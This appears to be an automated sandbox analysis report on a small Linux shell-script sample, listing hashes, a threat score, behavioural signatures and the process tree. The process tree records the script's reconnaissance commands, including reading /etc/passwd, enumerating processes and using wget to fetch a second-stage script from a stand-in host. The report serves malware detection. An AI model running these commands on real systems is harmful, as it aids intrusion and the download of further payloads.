Analysis
- max time kernel
0s - max time network
13s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
02/08/2026, 14:18
Static task
static1
Behavioral task
behavioral1
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
40 seconds
Behavioral task
behavioral3
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
40 seconds
Behavioral task
behavioral4
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
40 seconds
General
- Target 07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
- Size 178B
- Sample260802-rmlyaavclb
- SHA256 07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac
- MD5 005e2695274b1f7866cd73576a701c78
- SHA1 f990b609aadba389b0d23be1eafd4a6cb0daec02
- SHA512 9f33776cc65b9684f5f4a80efeeb1436359be71a930a9c756abc0f68ced859706f2ca8f4180320cd72add592f021c29542af36dbb6634c9c8962f0112a620f5d
- TLSH T1FBC0C0CB920887280C27C1100A84037ED040C2491A8000AC8CF895AB00FC34FA201981
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1511 ps - Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/184/status ps File opened for reading /proc/423/cmdline ps File opened for reading /proc/467/stat ps File opened for reading /proc/729/cmdline ps File opened for reading /proc/1391/stat ps File opened for reading /proc/1508/stat ps File opened for reading /proc/169/stat ps File opened for reading /proc/184/cmdline ps File opened for reading /proc/1086/cmdline ps File opened for reading /proc/212/cmdline ps File opened for reading /proc/7/status ps File opened for reading /proc/174/status ps File opened for reading /proc/168/cmdline ps File opened for reading /proc/35/cmdline ps File opened for reading /proc/98/status ps File opened for reading /proc/920/status ps File opened for reading /proc/1077/cmdline ps File opened for reading /proc/27/stat ps File opened for reading /proc/35/stat ps File opened for reading /proc/171/cmdline ps File opened for reading /proc/567/cmdline ps File opened for reading /proc/976/stat ps File opened for reading /proc/995/stat ps File opened for reading /proc/934/status ps File opened for reading /proc/979/stat ps File opened for reading /proc/1171/status ps File opened for reading /proc/1310/status ps File opened for reading /proc/441/cmdline ps File opened for reading /proc/666/stat ps File opened for reading /proc/1359/status ps File opened for reading /proc/78/status ps File opened for reading /proc/1097/cmdline ps File opened for reading /proc/30/cmdline ps File opened for reading /proc/34/status ps File opened for reading /proc/137/cmdline ps File opened for reading /proc/576/cmdline ps File opened for reading /proc/737/cmdline ps File opened for reading /proc/912/stat ps File opened for reading /proc/1081/status ps File opened for reading /proc/13/status ps File opened for reading /proc/510/stat ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/737/stat ps File opened for reading /proc/1036/cmdline ps File opened for reading /proc/729/stat ps File opened for reading /proc/1093/stat ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/11/stat ps File opened for reading /proc/169/status ps File opened for reading /proc/664/status ps File opened for reading /proc/939/status ps File opened for reading /proc/1056/status ps File opened for reading /proc/1138/cmdline ps File opened for reading /proc/sys/kernel/ngroups_max id File opened for reading /proc/98/stat ps File opened for reading /proc/167/stat ps File opened for reading /proc/505/status ps File opened for reading /proc/972/cmdline ps File opened for reading /proc/1359/cmdline ps File opened for reading /proc/934/cmdline ps File opened for reading /proc/1048/cmdline ps File opened for reading /proc/1061/cmdline ps File opened for reading /proc/1103/cmdline ps File opened for reading /proc/137/stat ps
Processes
-
/tmp/07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh/tmp/07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh1⤵PID:1498
-
/bin/unameuname -a2⤵PID:1501
-
-
/usr/bin/idid2⤵
- Reads runtime system information
PID:1502
-
-
/bin/lsls -la /2⤵PID:1503
-
-
/bin/catcat /etc/passwd2⤵PID:1504
-
-
/usr/bin/wgetwget http://example.com/y.sh2⤵PID:1505
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1511
-